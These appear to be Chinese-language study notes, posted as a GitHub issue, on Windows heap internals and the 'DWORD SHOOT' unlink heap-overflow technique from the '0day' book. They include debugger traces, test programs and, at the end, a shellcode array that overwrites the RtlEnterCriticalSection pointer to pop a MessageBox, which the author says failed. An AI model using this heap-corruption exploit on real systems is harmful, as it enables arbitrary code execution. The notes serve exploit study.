Windows堆溢出
xinali opened this issue · 0 comments
堆溢出
堆结构
堆和栈的结构差异很大,堆的分配以块为单位,分为块首和块身,对堆操作使用的指针一般指向块身起始位置。堆块和堆表组成一个堆,不同类型的堆表将堆在逻辑上分为不同的部分,重要的堆表(只索引空闲堆块)有两种:空表(freelist)和快表(lookaside)。
占用态堆块结构
空闲态堆块
可以看出空闲状态下是有前后块指针的,占用态没有
空表
由空闲堆块组成的双向链表,空表总共有128条,具体结构如下图
空表连接的都是空闲堆块,某个块被分配使用时,空表就会将该块从表中摘除,当被释放后,又会再次连接到空表上
通过0day中给出的代码进行一段测试,测试代码:
#include <windows.h>
main()
{
HLOCAL h1,h2,h3,h4,h5,h6;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
//free block and prevent coaleses
HeapFree(hp,0,h1); //free to freelist[2]
HeapFree(hp,0,h3); //free to freelist[2]
HeapFree(hp,0,h5); //free to freelist[4]
HeapFree(hp,0,h4); //coalese h3,h4,h5,link the large block to freelist[8]
return 0;
}
按照0day书上的环境,并设置好后,od成功拦截
分配的堆的首地址0x00310000
,其中位移0x178
处指向分配的空表的尾块0x0688
,再看0x688
处的数据
其中0x688
指的是其数据部分,它的块首是向前8个字节0x680
,根据其c源码,每个HeapAlloc
分配的空间如下
空表分配
根据空表的分配规则,以及上节中得出的每个块应该分配的大小,可以得出如下的分配地址列表
H1
H2
H3
H5
可以发现每一步跟我们根据规则画出来的分配都是相同的
空表释放与合并
第一步,释放H1,空闲空间是8bytes,所以其释放完后应该挂在free[1]上
未释放前free[1]
应该是这样的
+------+------+------+
| | 0188 | 0188 |
+------+------+------+
验证一下
Free,根据规则应该是这样的
0188
+------+------+------+
| | 0xxx | 0688 |<----+
+------+------+------+ |
|
0688 |
+------+------+------+ |
| | 0188 | 0188 |-----+
+------+------+------+
free1的后指针指向0x688这个堆块,堆块的前后指针均指向0188,验证一下
释放H3
0188
+------+------+------+
| | 0xxx | 0688 |<----+
+------+------+------+ |
0688 |
+------+------+------+ |
| | 0188 | 06A8 |<----+
+------+------+------+ |
06A8 |
+------+------+------+ |
| | 0688 | 0188 |-----+
+------+------+------+
free[1]后挂了两块不连续的空闲块!验证一下
释放H5
根据规则,我们可以得出
01A8
+------+------+------+
| | 0xxx | 06C8 |<----+
+------+------+------+ |
|
06C8 |
+------+------+------+ |
| | 01A8 | 01A8 |-----+
+------+------+------+
按照0day书中所说,
0178 -> free[0] 跟着大块
0188 -> free[1] 跟着8bytes
0198 -> free[2] 跟着16bytes
01A8 -> free[3] 跟着24bytes
01B8 -> free[4] 跟着32bytes
但是这里却不是01A8
,而是0198
,没有弄明白是为什么。。。。。
释放H4
因为H3,H4,H5是连在一起的,所以需要合并,合并的总空间是32个空闲字节,所以应该挂在01B8
即free[4]上
01A8
+------+------+------+
| | 0xxx | 06A8 |<----+
+------+------+------+ |
|
06A8 |
+------+------+------+ |
| | 01B8 | 01B8 |-----+
+------+------+------+
验证一下
空表的分配,释放和合并分析完毕!
快表
根据0day书中的描述,开始时快表是空的,堆管理器首先从空表上分配给HeapAlloc
,等到HeapFree
释放空间再将其链入快表中。利用如下代码进行测试
#include <stdio.h>
#include <windows.h>
void main()
{
HLOCAL h1,h2,h3,h4;
HANDLE hp;
hp = HeapCreate(0,0,0);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
HeapFree(hp,0,h1);
HeapFree(hp,0,h2);
HeapFree(hp,0,h3);
HeapFree(hp,0,h4);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
HeapFree(hp,0,h2);
}
查看一下偏移位置0x178
可以看到已经不是0x00310688
了,变为了0x00311E90
,再来看看0x688
处的快表,根据0day书中所说lookaside从0x6B8
开始,每48个字节算一个lookaside
首项,现在lookaside[1]
等都是0
往下依次类推。等到第一次HeapFree
之后再看
已经得到了分配后释放的堆块,并且链入了快表,再看释放4次之后
可以看到0x6E8
处的值,经过4次释放变为00311EA0
,再看一下00311EA0
其指向了第一次释放的位置,由此可知后释放的空间会插入先前插入的位置的前面。再次分配会优先分配快表
分配16
字节之后,lookaside[2]
不再有空间。快表的分配,释放分析结束
DWORD SHOOT
空表由双向链表构成,双向链表在拆卸的过程中会发生如下的操作
int remove (ListNode *node)
{
node->blink->flink = node->flink;
node->flink->blink = node->blink;
return 0;
}
具体的操作可以参照0day中的图,如下
其实总结起来就是[blink]=flink数据
测试地址写入
测试代码
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
int main()
{
HLOCAL h1=0,h2=0;
HANDLE hp;
hp=HeapCreate(0,0x1000,0x10000);
__asm int 3;
h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
memcpy(h1,shellcode,200);
h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
根据DWORD SHOOT
的定义,我们人为的构造一下,将8888888
写入地址00000022
,
产生错误
可以看出是前向指针中的数据写入了后向指针中所表示的地址。
测试MessageBOx弹窗
这里主要依据的就是windows为了同步进程中的多个线程,使用了一些同步措施,如锁机制,信号量等,当进程退出时,ExitProcess
函数需要做很多的工作,其中就会用到RtlEnterCriticalSection
和RtlLeaveCriticalSection
,指向前一个函数的指针存放在0x7FFDF020
,即进程退出时会到这个地址取出RtlEnterCriticalSection
函数的指针,并执行该函数,所以我们需要利用堆溢出中的DWORD SHOOT
技术将shellcode
的地址写入0x7FFDF020
中。
找到RtlEnterCriticalSection
函数地址
地址为0x77F82060
,再确定shellcode
的地址,具体测试代码如下
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xb8\x20\xf0\xfd\x7f"
"\xbb\x60\x20\xf8\x77" // RtlEnterCriticalSection的地址0x77f86020通过调试得到, 用来使shellcode调用ExitProcess时不产生异常
"\x89\x18"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x30\x75\x6e\x67\x68\x77\x6f\x6f\x79\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"
"\x88\x06\x31\x00\x20\xf0\xfd\x7f"; // 0x00310688 shellcode起始地址, 0x7ffdf020 RtlEnterCriticalSection的指针地址(固定不变)
int main()
{
HLOCAL h1=0,h2=0;
HANDLE hp;
hp=HeapCreate(0,0x1000,0x10000);
//__asm int 3;
//EnterCriticalSection(0);
h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
memcpy(h1,shellcode,0x200);
h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
但是测试过程中始终失败,具体也找不到什么原因。